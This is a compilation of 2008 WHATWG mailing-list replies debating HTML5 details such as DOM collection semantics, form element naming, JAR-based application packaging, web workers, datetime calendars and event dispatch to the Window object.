Tim, can you confirm that? Chris. -- http://www.bluishcoder.co.nz
Re: [whatwg] HTML 5 : Misconceptions Documented
While we are at collections and arrays, it is worth noting that the
{coll.length} attribute is a misnomer. I would always ask for {coll.count}
when I was learning and meditate upon why it did not work.
Chris
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith
Sent: Monday, August 04, 2008 7:47 PM
To: [EMAIL PROTECTED]
Subject: Re: [whatwg] HTML 5 : Misconceptions Documented
I'm a little surprised at the lack of response here, so I'm replying
to myself here, just to keep this issue active.
I did a little more research and found that the misconception is more
common that I thought: DOM objects that have indexed properties are
often mistaken for arrays. This is the misconception that I found
documented in HTML5.
Re: [whatwg] Joined blocks
The concept of joint blocks (which should rather be named disjoint canvas) is relevant mainly to printouts. As it has already been explained in the booklet case, HTML is not the primary workhorse for preparing professional printouts. Window content is stretchable, unlike a print sheet, therefore it is easier and more logical to present continuous content in a continuous block, with an optional IFRAME to make it bounded and locally scrollable. Note that printouts are usually split into such disjoint canvas called pages and that HTML has no concept of pagination. IMHO, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Shannon Sent: Friday, August 01, 2008 6:58 AM To: WHAT working group Subject: [whatwg] Joined blocks Something I think is really missing from HTML is linked text (in the traditional desktop publishing sense), where two or more text boxes are joined so that content overflows the first into the second and subsequent boxes. This is a standard process for practically all multi-column magazines, books and news layouts. It is especially valuable for column layouts where the information is dynamic and variable in length and therefore cannot be manually balanced. This is not something that can be solved server-side since the actual flow is dependent on user style-sheets, viewport and font-size. For the sake of disambiguation i'll call this joined blocks, since linking has its own meaning in HTML and the content need not be text. I honestly don't know if this is too difficult to implement, however it has been a standard feature of publishing software such as Pagemaker and Quark Xpress for over 10 years. The markup would be something like: div id=col1img src=logo.png style=float:rightp/pp/pp/p/div div join=col1 id=col2/div div join=col2 id=col3/div When reflowing, block elements are moved as a whole. If the block won't fit then it follows the overflow behaviour of the column. Inline elements are split by line. For backwards-compatibility it must be legal to split the markup over each group member (manual or best-guess balancing). However a HTML5 compliant browser would reflow to other members as though the combined markup originated in box 1. There are two ways to implement this proposal with respect to CSS. 1.) Rewrite the DOM with the new layout. Closing objects that were split and propagating attributes. 2.) Rewrite the CSS parser. Method 1 is probably simpler but has serious issues with the id attribute - since it must be unique and therefore cannot propogate to both halves of a split object. It could also create undesirable behaviour with respect to :first-line, :before and other selectors that the author would expect to apply to the element only once. Method 2 solves most of these issues but it would probably be a significant rewrite of current parsers. I accept this proposal may be difficult to implement but its use case is significant with regards to articles and blogs, especially in an era of user-submitted content and wide screen layouts. Shannon
Re: [whatwg] Scripted querying of video capabilities
What is the advantage of using JavaScript to determine a viable embedding method over using alternative streams and fallback content that can include the OBJECT element where appropriate? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Tim Starling Sent: Thursday, August 07, 2008 1:23 PM To: WHATWG List Subject: Re: [whatwg] Scripted querying of video capabilities The reason this is needed, as opposed to using multiple source tags, is because inevitably, some clients will support certain formats via object (or in our special case, applet) and not via video. Querying the browser's video capabilities allows JS to decide what sort of embedding method to use. It's an essential migration feature. -- Tim Starling
Re: [whatwg] HTML 5 : Misconceptions Documented
The attribute FORM.length is not parseable: it cannot be defined in the HTML source and such definition should be ignored. The intrinsic computed length attribute should take precedence over the imported control name which can be retrieved calling form.elements.item(length). Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith Sent: Wednesday, August 06, 2008 8:24 PM To: Maciej Stachowiak Cc: Cameron McCormack; [EMAIL PROTECTED] Subject: Re: [whatwg] HTML 5 : Misconceptions Documented Testcases to determine what implementations do and what are the worst problems to avoid would be the most useful at this point. For example, a HTMLFORMElement with the name length, and attribute length on the form. form length=10 input name=length /form Please do make up some test cases. You can post these to the list. Talk to Ian about where to upload them for reference.
Re: [whatwg] HTML 5 : Misconceptions Documented
It is probably too late for that but I like the concept of a default property much better than metaattributes like IndexGetter. For example, document.forms(0) means call forms on document with argument 0. That is impossible because forms is not a function so we look into forms collection and we see that it has the default method named item. So we proceed by expanding it to document.forms.item(0) and we see it works. I like it because it is simple, elegant and generic, whereas IndexGetter and what you have looks ad-hoc. I have never seen document.forms.main used to get at the form named main but probably I have not seen that much. I wonder how common it is. Of course, I agree that it is best to be explicit and not to rely on such tricks at all. The downside is that, for example, while a.getAttributeNode(href).value = url is technically superior to a.href = url, it is much harder to read so care must be taken not to overshoot. But form.elements.item(main) is just fine. Regarding how the named elements get to be true properties, the shadowing behavior can be specified without recurring to getters. It is sufficient to say that an intrinsic property is never replaced by a constructed shortcut property and we get the same result. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith Sent: Wednesday, August 06, 2008 8:49 AM To: Thomas Broyer Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] HTML 5 : Misconceptions Documented On Tue, Aug 5, 2008 at 4:02 PM, Thomas Broyer [EMAIL PROTECTED] wrote: On Tue, Aug 5, 2008 at 8:03 AM, Garrett Smith wrote: On Mon, Aug 4, 2008 at 3:17 PM, Thomas Broyer wrote: First off, the IndexGetter behavior on the HTMLCollection[1] is the authors imagination. Aren't document.forms[0] and document.forms.myform working? Can you be more specific and direct in your reply? It isn't clear what your point is. The following example shows that indexed Properties exist on NamedNodeMap, HTMLCollection, NodeList (just like they do on Arrays). There is no [[ IndexGetter ]] as Cameron likes to make pretend. This is an implementation detail of the ECMAScript binding. In EcmaScript, the property access operators seem to look like a getter to Cameron. What they really do is provide access to properties added to the collection, or, in one case (on one implementation), this seems implemented as a getter. A getter is a method that gets the value of a property of that name.
Re: [whatwg] HTML 5 : Misconceptions Documented
Neither the expression 'form.elements.$name' nor its expanded form 'form.elements[$name]' is supposed to be defined even if $name is an identifier of an embedded control. The correct way to address the control is 'form.elements($name)', which is a shorthand notation for 'form.elements.item($name)'. These two should not be confused. Therefore, the bug in Opera is not about shadowing the length property but about defining the corresponding property at all (in particular, 'form.elements.ell' should be null no matter what). OTOH, the expression 'form.length' is a perfect equivalent for 'form.elements(length)', provided a control with such a name is contained. Have you reported this to Opera technical support? I can see no harm in principle in assigning a value to 'form.length' because length is not an intrinsic property the form object. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith Sent: Saturday, August 09, 2008 2:06 AM To: WHATWG List Cc: Maciej Stachowiak Subject: Re: [whatwg] HTML 5 : Misconceptions Documented On Thu, Aug 7, 2008 at 4:37 PM, Maciej Stachowiak [EMAIL PROTECTED] wrote: On Aug 7, 2008, at 3:44 PM, Garrett Smith wrote: I'd like to put this back on the list, and it doesn't contain anything personal, so I'm taking the liberty here. I'm not sure what you mean by in the binding. I meant the EcmaScript binding. Do you mean in Web IDL's definition of how to map Web IDL interfaces to the ECMAScript language, or one-off in the HTML5 spec for every interface this applies to? Narrowing the scope in the interest of not creating bugs seems like a very good idea. This could potentially be described in the EcmaScript bindings. But it would be a good idea to explore some edge cases. Particularly, if the case was the order of definition of properties: One such case would be an HTMLCollection with an element named length. In that case, the readonly length property would have to be the actual length of the collection; the value should not be replaced with an element of that name/id. forminput name=length/form document.forms[0].elements.length Opera9: [object HTMLInputElement] -- BUG FF3: 1 Saf3: 1 Another consideration would be a form element with an attribute length. That would be a problem as neither the attribute, nor the Netscape 4 DOM named items are specified as readonly. So that's one reason for not specifying the Netscape 4 DOM and for removing that example from WF 2.0 http://www.whatwg.org/specs/web-forms/current-work/#select-check-default
Re: [whatwg] WebWorkers vs. Threads
Guarding concurrent access to global variables is not enough if those variables hold references to objects because an object can end up in a logically inconsistent state if two threads try modifying its properties concurrently. The objects would have to be lockable to avoid corrupting global state. Even if you limit yourself to scalar variables, there is nothing to prevent a script to define a compound state as a set of scalar variables, each one with its own name. While it is not a good programming practice, old code does it a lot because it is (or was) more efficient to say 'gTransCount' than 'gTrans.count'. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Shannon Sent: Monday, August 11, 2008 2:54 AM To: Jonas Sicking Cc: WHAT working group Subject: Re: [whatwg] WebWorkers vs. Threads Maybe I misunderstand the concept of shared nothing but I think denying access to global objects is unwise. Maybe in a low-level language like C that's a bad thing but high-level languages can serialise simultaneous access to variables to prevent crashes and deadlocks. Performance can be improved by explicitly declaring private thread variables using var.
Re: [whatwg] HTML 5 : Misconceptions Documented
I have considered inline response. I have two options: do it by hand (I am rather busy) and do it for every reply (which makes business people angry). I am sorry for the inconvenience it causes. The item method on a collection when the argument passed is a string that cannot be coerced to an integer is equivalent to namedItem. A form element does not have an intrinsic length property; it can be added as an embedded named control or by a script. The elements collection has the intrinsic length property and it cannot be shadowed. My source of information is MSDN, as you have correctly guessed. If you have contradictory information on legacy interfaces, please share it with us. Note that there is no way we can say it is correct or not; it is an obsolete interface after all. However, if it is consistent and all major implementations support it, there is no reason to think it is false. The name 'ell' I used is a name of an embedded control in order to make it different. I am not sure about undefined versus null; I rather use Visual Basic Scripting Edition and I get Nothing (not Empty) for a property an object does not have. It may as well be undefined under JavaScript. Chris See also http://msdn.microsoft.com/en-us/library/ms536460(VS.85).aspx. -Original Message- From: Garrett Smith [mailto:[EMAIL PROTECTED] Sent: Monday, August 11, 2008 10:37 PM To: Kristof Zelechovski Cc: WHATWG List; Maciej Stachowiak Subject: Re: [whatwg] HTML 5 : Misconceptions Documented On 8/11/08, Kristof Zelechovski [EMAIL PROTECTED] wrote: Hi Chris, Thanks for taking the time to respond to some things I was writing about. I think these are important things that deserve attention, too. If it's not too much to ask, have you considered inline style response? http://en.wikipedia.org/wiki/Posting_style#Inline_replying I tried to restore posting order, but since you are using Outlook, it was not effectively possible. Neither the expression 'form.elements.$name' nor its expanded form 'form.elements[$name]' is supposed to be defined even if $name is an identifier of an embedded control. The correct way to address the control is 'form.elements($name)', Can you cite a reference for this? AFAIK, this is an IE feature that was copied. which is a shorthand notation for 'form.elements.item($name)'. No, that is wrong. Doubly wrong, I think. The item method retrieves a node by ordinal index (based on depth-first traversal). now if you had wrote:- form.elements.namedItem($name) That would at least be partially correct. If namedItem is what you meant, then please supply a reference to back up your claim. I do not think the claim: | The correct way to address the control is 'form.elements($name)' is true and correct. I think it's an MSIE invention that other implementations copied. These two should not be confused. Therefore, the bug in Opera is not about shadowing the length property but about defining the corresponding property at all (in particular, 'form.elements.ell' should be null no matter what). Are you referring to the example I supplied? This could potentially be described in the EcmaScript bindings. But it would be a good idea to explore some edge cases. Particularly, if the case was the order of definition of properties: One such case would be an HTMLCollection with an element named length. In that case, the readonly length property would have to be the actual length of the collection; the value should not be replaced with an element of that name/id. forminput name=length/form document.forms[0].elements.length Opera9: [object HTMLInputElement] -- BUG FF3: 1 Saf3: 1 There was no element in my example with a id or name 'ell', so I would have to say that form.elements.ell would be undefined, not null. Where is this - ell - coming from? OTOH, the expression 'form.length' is a perfect equivalent for 'form.elements(length)', provided a control with such a name is contained. form.elements has a readonly property named length. That property can't be changed (legally) just because a parse event found an element named (or id'd) length. The length property of a form - form.length - refers to: Have you reported this to Opera technical support? I can see no harm in principle in assigning a value to 'form.length' because length is not an intrinsic property the form object. Chris, I have stated at least twice prior to this email that an HTMLCollection has a readonly length property. http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506 | length of type unsigned long, readonly | This attribute specifies the length or size of the list. Garrett Chris
Re: [whatwg] Fake Code
And this particular example should be recursive. Unfolding inherently
recursive procedures with an explicit stack, perhaps to construct an
enumerator or to simulate a coroutine, is a technical detail that does not
belong here.
Chris
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith
Sent: Wednesday, July 30, 2008 8:46 AM
To: WHATWG List
Subject: [whatwg] Fake Code
Examples should work.
Citation from:
http://www.whatwg.org/specs/web-apps/current-work/#outlines
The following JavaScript function shows how the tree walk could be
implemented. The root argument is the root of the tree to walk, and
the enter and exit arguments are callbacks that are called with the
nodes as they are entered and exited. [ECMA262]
function (root, enter, exit) {
var node = root;
start: do while (node) {
enter(node);
if (node.firstChild) {
node = node.firstChild;
continue start;
}
while (node) {
exit(node);
if (node.nextSibling) {
node = node.nextSibling;
continue start;
}
if (node == root)
node = null;
else
node = node.parentNode;
}
}
}
This code cannot be interpreted in a compliant implementation of
EcmaScript. It has more syntax errors than I can count. It is unclear
what the author thinks this code will do. If its intent were clearer,
and the syntax errors fewer, it might be possible for me to help out
by fixing them. The above code is not even close to ECMA262.
Examples should not contain errors.
Garrett
Re: [whatwg] image element
He was the vendor of the prototype implementation so it was impossible to stop him although TBL did his best. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Nicholas Shanks Sent: Wednesday, July 30, 2008 9:17 AM To: Ian Hickson Cc: WHAT Working Group Mailing List Subject: Re: [whatwg] image element Aye, but img gets me very angry. I believe this was the worst moment in the history of HTML: http://1997.webhistory.org/www.lists/www-talk.1993q1/0182.html Why did nobody stop this guy at the time? We're still cleaning up his mess 15 years later :-( - Nicholas Shanks.
Re: [whatwg] HTML 5 : Misconceptions Documented
Form attribute names should take precedence over form control names. There
is no ambiguity. Both mechanisms belong to Netscape DOM and are deprecated.
Form property names should take precedence over both. I do not see much
value in removing support for legacy code altogether; it looks a bit
totalitarian to me. I agree, however, that examples provided should use
modern wording, whatever that means.
Chris
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith
Sent: Wednesday, July 30, 2008 8:34 AM
To: [EMAIL PROTECTED]
Subject: [whatwg] HTML 5 : Misconceptions Documented
I took a brief look at the WF 2.0 document yesterday and found some
serious misconceptions and examples of programming by coincidence.
These reflect very poorly on html5.
The errors can be found on the link:
http://www.whatwg.org/specs/web-forms/current-work/#select-check-default
Doc Bugs:
1) Treating a a form element as an HTMLCollection.
2) The use of - with - to augment the scope chain is not necessary.
3) Calling the elements HTMLCollection an array
(1) The definition of HTMLFormElement does not have a specialized [[Get]]
for element names (nor should there be, as this is known to be
problematic). The example in the documetation depends on such behavior.
(2) - with - augments the scope chain with the object. This is completely
unnecessary here and will create problems if, for example, there is an
element named watch. It is a bad practice and I see this influence in the
popular libraries.
(3) There is no specification for a special [[Get]] for the elements
HTMLCollection as a shortcut to namedItem, either (though this would not
seem to be a problem, and all implementations have supported this behavior
for quite a long time). I did notice that the elements collection is
mistakenly called an 'array'. This is a serious documentation mistake of
the worst kind: The spreading of misinformation. It will continue influence
the muddy knowledge that is so common among most developers who tend want
to call push et c directly on that NodeList object (see the
dojo.NodeList for details). The elements Collection should be called an
HTMLCollection and this should be changed immediately.
// WRONG
document.forms[0].qty,
The elements property is what the example should use:-
// RIGHT.
document.forms[0].elements.namedItem('qty');
document.forms[0].elements.qty; // Access via custom get
This avoids ambiguity when having a form that has an element named name,
for example. It becomes ambiguous as to whether the form.name refers to
the element or the form's name attribute. Problems could also arise with
action, length, toString, elements.
-
// (GS) Don't augment scope chain here.
with (document.forms[0]) {
// (GS) Don't treat a form as a collection.
// Use the 'elements' colletion.
if (qty.validity.valueMissing) {
// the quantity control is required but not filled in
} else if (qty.validity.typeMismatch) {
// the quantity control is filled in, but it is not a number
}
}
And further down:-
// (GS) Don't treat a form as a collection.
// Use the 'elements' colletion.
var myControl = document.forms[0].addr;
if (myControl.value == '[EMAIL PROTECTED]') {
myControl.setCustomValidity('You must enter your real address.');
}
-
Fixed:
var f = document.forms[0],
qv = f.elements.namedItem('qty').validity;
if (qv.valueMissing) {
// Value required but not filled in.
} else if (qv.typeMismatch) {
// Value filled in, but it is not a number.
}
}
var addErrInvalidMsg = 'You must enter your real address.';
var addr = document.forms[0].elements.namedItem('addr');
if (addr.value === '[EMAIL PROTECTED]') {
addr.setCustomValidity(addErrInvalidMsg);
}
Re: [whatwg] Application deployment
The documents belonging to the container should not be available directly from the server, except when they are served via a server extension that goes to the container to get them. This effect should be easy to achieve on the server side. Chris _ From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Robert O'Callahan Sent: Wednesday, July 30, 2008 6:45 AM To: Dave Singer Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] Application deployment On Tue, Jul 29, 2008 at 11:20 AM, Dave Singer [EMAIL PROTECTED] wrote: Caching is on a full URL basis, of course. Once that is decided, then yes, I think that pre-cached items for a given URL are in the general cache for that site. A site that uses this feature is likely to be fragile. It will have to have z.html both in the archive and available directly from the server, in case z.html is requested before the load of the archive has finished. And if those copies ever get out of sync you're in very big trouble, because depending on the context, either the archive version or the direct version is likely to consistently win the load race, so just occasionally some clients will get the wrong version. This seems like a highly error-prone design. Rob
Re: [whatwg] img element comments
The element you are describing is effectively a progress bar control. It is still not present in HTML; however, it can be emulated using an OUTPUT control with layout or with invisible text and a custom background: SPAN STYLE=COLOR: RED; BACKGROUND: RED; BORDER: THIN SOLID BLACK ***/SPAN Alternatively, if you scorn at the number of asterisks, you can use INPUT TYPE=TEXT SIZE=13 DISABLED. This has the disadvantage of being irrelevant to screen readers. HTH, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Wednesday, July 30, 2008 5:08 AM To: Matthew Paul Thomas Cc: WHATWG Subject: Re: [whatwg] img element comments On Sun, 14 Oct 2007, Matthew Paul Thomas wrote: On Oct 14, 2007, at 2:03 AM, Henri Sivonen wrote: I don't think If both attributes are specified, then the ratio of the specified width to the specified height must be the same as the ratio of the logical width to the logical height in the image file. solves any real problem given what browsers already have to implement, so I'd remove that sentence. As a real-world example, Launchpad currently stretches the width of static images to produce simple bar charts of how much particular software packages have been localized. https://translations.launchpad.net/ubuntu We have to specify both width= and height= for the images, because specifying width= alone causes w3m to stretch the images vertically to maintain their aspect ratio. Meanwhile, elsewhere we're using canvas, so we should really be declaring our pages to be HTML 5 site-wide. The sentence Henri quoted would require us to choose between server-side generation of every chart image, incompatibility with w3m, or non-conformance with any HTML specification. I know w3m isn't exactly a major browser, but I don't see any good reason for having to make that choice. As far as I'm aware, the behaviour you describe for w3m matches what all the UAs do. I'm not sure that this usage of img is one that the spec today considers valid. Wouldn't canvas be the better way to do this?
Re: [whatwg] Application deployment
Please explain why you consider concatenating JavaScript sources dirty. You can have a library of all JavaScript definitions relevant to your site in one source file and I am not sure what is wrong with it, except that a library should consist of books, but that concept was already broken long ago. Chris _ From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Russell Leggett Sent: Wednesday, July 30, 2008 4:25 PM To: Peter Kasting Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] Application deployment It seems to me that many of the additions to the HTML spec are there because they provide a standard way to do something we are already doing with a hack or more complicated means. CSS sprites are clearly a hack. Concatenating js files are clearly a hack. Serving from multiple sub-domains to beat the connection limit is also a workaround. My proposal is intended to approach the deployment issue directly, because I think it is a limitation in the html spec itself and therefore, I think the html spec should provide its own solution. My proposal may not be the best way, but assuming the issue will be dealt with eventually by some other party through some other means does not seem right either.
Re: [whatwg] Proposal for a link attribute to replace a href
By the current spec, the Anchor element is phrasing content, which is a special case of flow content. Did you mean transparent content instead? EC! I cannot see any inline content in HTML5, at least not in 3.4.1 where content models are defined. Chris -Original Message- From: Ian Hickson [mailto:[EMAIL PROTECTED] Sent: Wednesday, July 30, 2008 1:50 PM Cc: WhatWG Subject: Re: [whatwg] Proposal for a link attribute to replace a href On Sun, 1 Jun 2008, Ernest Cline wrote: Backwards compatible with some user agents but not with the specs. The following fragment has never been valid according to the specs in any of HTML 1.0, 2.0, 3.2, or 4, or the current draft of HTML 5, despite a, h3, and p appearing in all of them. a href=foo.html h3Heading/h3 pText/p /a The specs have always called for a to only have inline content save that for some reason, HTML 2.0 did allow h1 to h6 inside a though that was not recommended, and that was reverted back to inline only in 3.2. While changing the specs to match user agent behavior is a possibility, it is not one that should be taken lightly. (Nor should adding a new flow content hyperlink element, be taken lightly either.) Changing the specs to match user agent behavior is the whole way HTML5 works, so that's not a big problem. The problem is that the current parse model results in odd behaviour if we allow a as a flow-content element.
Re: [whatwg] Expanding datetime
I feel uneasy about this Gregorian bias in dates, although I use Gregorian calendar myself. It seems Gregorian dates do not require specifying the datetime attribute but all other dates do (like Arabic lunar, Jewish, Thai, Ethiopic, whatever). It would be much better if the algorithm were locale-dependent, although this would probably require having HEAD META[NAME=LOCALE]. I understand this idea could be postponed indefinitely or rejected in the present state of affairs; which option would you choose? I mean, converting the dates the author regularly uses to Gregorian would require support from the editor or postprocessor. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Wednesday, July 30, 2008 1:13 PM To: 'WHATWG List' Subject: Re: [whatwg] Expanding datetime
Re: [whatwg] Application deployment
Archive: is not generic enough but perhaps you could bend the URL notation to embrace something like inside:. I still would not recommend it but it would not make me that sore. How about inside:local/path.html?container=http://www.site.com/app.jar? The user agent would be required to append a query string to local hyperlinks and that parameter would be reserved (or rename it to h809370dfwhbwa0r92347090). Of course this URL scheme would never leak to HTTP. OTOH, you can simulate several entry points by having all supported entry points on the start page (à la Microsoft Access) and have the user navigate to what she needs. I do not think this would be prohibitive from the customers point of view. And I am sure there is no need to publish each local address. Chris _ From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Robert O'Callahan Sent: Tuesday, July 29, 2008 9:55 AM To: Kristof Zelechovski Cc: Adrian Sutton; Adam Barth; [EMAIL PROTECTED]; Russell Leggett; Philipp Serafin Subject: Re: [whatwg] Application deployment On Tue, Jul 29, 2008 at 6:21 AM, Kristof Zelechovski [EMAIL PROTECTED] wrote: My complaint was about how the jar URL scheme wannabe conceptually differs from the schemes we already officially have, not about how ugly it is to have two consecutive colons. It is ugly but it does not matter. What matters is that a scheme is being promoted that is specific to one content type, just as the APPLET element is discouraged for the same reason. Suppose it was called archive: instead of jar: and the spec was made open-ended so that other archive types other than ZIP files were permitted. Would your objection still apply? Anyway, it is not obvious at all that linking inside a packaged HTML application should be supported. Multiple entry points to a single application are common. Rob
Re: [whatwg] Application deployment
I think that just puts some restrictions on the arrangement on the server. My guess is that once a resource is shadowed, it becomes invisible, and the server should not serve resources that might be shadowed unless the publisher knows what she is doing. It is not the only way to make a site inconsistent. Chris _ From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Robert O'Callahan Sent: Tuesday, July 29, 2008 9:51 AM To: Dave Singer Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] Application deployment On Tue, Jul 29, 2008 at 8:02 AM, Dave Singer [EMAIL PROTECTED] wrote: c) that the contents of the container, once fetched and un-packed, logically 'shadow' the directory where the container came from. It sounds like that affects all loads, which leads to issues: So if I load http://www.example.com/x.m21#y.html*q http://www.example.com/x.m21#y.html and (in the same document, or in another tab?) load http://www.example.com/z.html, and x.m21 contains a z.html but the server also responds to http://example.com/z.html, does the second load (z.html) come from the server or the container? Does it depend on whether the second load starts before the first load finishes? The same questions apply to Russell's proposal. Rob
Re: [whatwg] ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events]
I am not sure where it is relevant but I remember from learning Borland Paradox that events are dispatched to window first so that the window can intercept them universally and then they bubble bottom up if not intercepted. This feature is called global grab (if the window decides to handle the event exclusively) or global filter (if the event is allowed to pass to the control). Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Olli Pettay Sent: Tuesday, July 29, 2008 8:51 PM To: Web Applications Working Group WG; whatwg List Subject: Re: [whatwg] ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events] Chapter 5.4.4.3. Events and the Window object [1] says that event is also dispatched to window before (and after) dispatching to DOM nodes. I'd rather say window object is part of the event target chain (unfortunately load event is a special case), so events automatically propagate from document to window. No need to re-dispatch anything. (This is how gecko works ;) ) Or perhaps that is what the text is trying to say, but it should probably talk about event propagation, not about dispatching to window. -Olli [1] http://www.whatwg.org/specs/web-apps/current-work/#events0 Web Applications Working Group Issue Tracker wrote: ISSUE-44 (EventsAndWindow): Should DOM3 Events cover the interaction of events and the Window object? [DOM3 Events] http://www.w3.org/2008/webapps/track/issues/44 Raised by: Ian Hickson On product: DOM3 Events We need to decide whether HTML5 or DOM3 Events (or another spec) defines how events interact with the Window object that browsers have. Right now HTML5 says this: http://www.whatwg.org/specs/web-apps/current-work/#events0 and DOM3 Events says this: http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html#event s-Events-flow
Re: [whatwg] Application deployment
Having this URL monster shipped does not preclude replacing it with a more logical one and deprecating the original one. People make mistakes all the time and fortunately there are cases where the harm can be undone. (It is not about withdrawing the support for JAR archives but about changing the URL notation for accessing their content). Perhaps the new notation could even make it into HTML? Of course this means that the way relative locators inside an archived document are handled must be changed (they should apply to the fragment and not to the archive path); it should not be possible to escape an archive following relative hyperlinks. It should also be noted that such an archive has a flat file system (only one directory with files tagged with relative paths rather then plain names) whereas the HTTP path component addresses a hierarchical file system with true directories. It can cause relative hyperlinks to break when archiving an existing directory. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Adam Barth Sent: Monday, July 28, 2008 9:55 AM To: Kristof Zelechovski Cc: Philipp Serafin; [EMAIL PROTECTED]; Russell Leggett Subject: Re: [whatwg] Application deployment On Sun, Jul 27, 2008 at 11:55 PM, Kristof Zelechovski [EMAIL PROTECTED] wrote: jar:http://www.example.com/site.jar!/path/inside/foo.html? What kind of a syntax is that?? JAR is not a protocol, it is a content type. In Firefox, jar is a protocol that means retrieve the enclosed URL, unzip the contents, and look for the path after the !. I suspect the reason the Firefox developers chose ! to separate the URL to the JAR from the path within the JAR is that ! is not a valid URL character. It should rather be http://www.example.com/site.jar#path/inside/foo.html. It reads: retrieve the resource site.jar using the HTTP protocol and look into it for the fragment foo.html. I do not know how to read the original notation and I think it should be withdrawn. Withdrawn from what? This feature has already shipped in a number of versions of Firefox. The main value of using the packaged archive is that the content author can sign the archive. For example, this is the mechanism used for Firefox extensions. My guess is this mechanism will not be included in HTML 5 because some of the other browser vendors have expressed their distaste for nested URL schemes. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Adam Barth Sent: Sunday, July 27, 2008 11:33 PM To: Philipp Serafin Cc: [EMAIL PROTECTED]; Russell Leggett Subject: Re: [whatwg] Application deployment Firefox already implements this today with the jar protocol. Put your content into a zip archive and access it using this kind of URL: jar:http://www.example.com/site.jar!/path/inside/foo.html I'm not sure many sites use this feature, but it has been a source of several recent security issues. Adam
Re: [whatwg] Application deployment
My complaint was about how the jar URL scheme wannabe conceptually differs from the schemes we already officially have, not about how ugly it is to have two consecutive colons. It is ugly but it does not matter. What matters is that a scheme is being promoted that is specific to one content type, just as the APPLET element is discouraged for the same reason. Content types and URL schemas should not be coupled because they live in different worlds. The jar scheme is an exception in Java just as the javascript scheme is an exception in HTML because these are essential for the internal mechanisms of either language. Java does not recognize the javascript scheme; why should HTML recognize jar? Because Java programmers use it extensively? Even if that is true, which I doubt (because I think there should be a more abstract API for getting application resources anyway, perhaps using jar in the implementation), it hardly matters for HTML. I think dealing with two fragment identifiers is a lesser evil than turning the URL upside down. The difference between a hierarchical file system and a flat file system are minute indeed and it is primarily related to search efficiency: traversing a directory tree in logical order is straightforward in HFS but requires a prior conversion in FFS; HFS directories are inaccessible (without server extensions) but FFS directories simply do not exist. If relative locators are allowed to go out of the jar (relative to the directory the jar is in) then all internal hyperlinks into the archive must be #full/path#fragment and all local links must be ##fragment. That means the code base must be preprocessed before packaging. Anyway, it is not obvious at all that linking inside a packaged HTML application should be supported. An alternative solution would be to indicate the start page in the manifest and let the code run under a fake root. IMHO, Chris _ From: Adrian Sutton [mailto:[EMAIL PROTECTED] Sent: Monday, July 28, 2008 10:56 AM To: Kristof Zelechovski; Adam Barth Cc: [EMAIL PROTECTED]; Russell Leggett; Philipp Serafin Subject: Re: [whatwg] Application deployment On 28/07/2008 09:22, Kristof Zelechovski [EMAIL PROTECTED] wrote: Having this URL monster shipped does not preclude replacing it with a more logical one and deprecating the original one. People make mistakes all the time and fortunately there are cases where the harm can be undone. It's not just FireFox that supports this URL scheme - the entire Java world uses it and supports it back as long as JAR files have existed as far as I know. While web pages are a different domain it seems silly to have two completely different notations for the same thing just because of aesthetic reasons. It's also worth noting that the jar: scheme will allow you to target anchors in a HTML document that's within the archive where as the fragment identifier syntax would not, unless you used two fragment identifiers: http://www.example.com/site.jar#/path/inside/foo.html#heading1 Of course this means that the way relative locators inside an archived document are handled must be changed (they should apply to the fragment and not to the archive path); it should not be possible to escape an archive following relative hyperlinks. Why not? It seems reasonable to have some things inside the JAR and some dynamically created outside of it. For example were Gmail wanting to reduce the initial download time for it's JavaScript and UI resources it could put them in a JAR file but the JavaScript would still want to send requests to retrieve the user's actual mail data. It could use an absolute URL to do it but why not support relative URLs? It should also be noted that such an archive has a flat file system (only one directory with files tagged with relative paths rather then plain names) whereas the HTTP path component addresses a hierarchical file system with true directories. It can cause relative hyperlinks to break when archiving an existing directory. The file system inside a JAR or ZIP is strictly speaking flat, but logically hierarchical - ie: you unzip it and you get a hierarchy of directories. The actual method of storage in bits and bytes doesn't seem to matter. Perhaps I'm misunderstanding your point... Regards, Adrian Sutton. __ Adrian Sutton, CTO UK: +44 1 753 27 2229 US: +1 (650) 292 9659 x717 Ephox http://www.ephox.com/ Ephox Blogs http://planet.ephox.com/, Personal Blog http://www.symphonious.net/
Re: [whatwg] The iframe element and sandboxing ideas
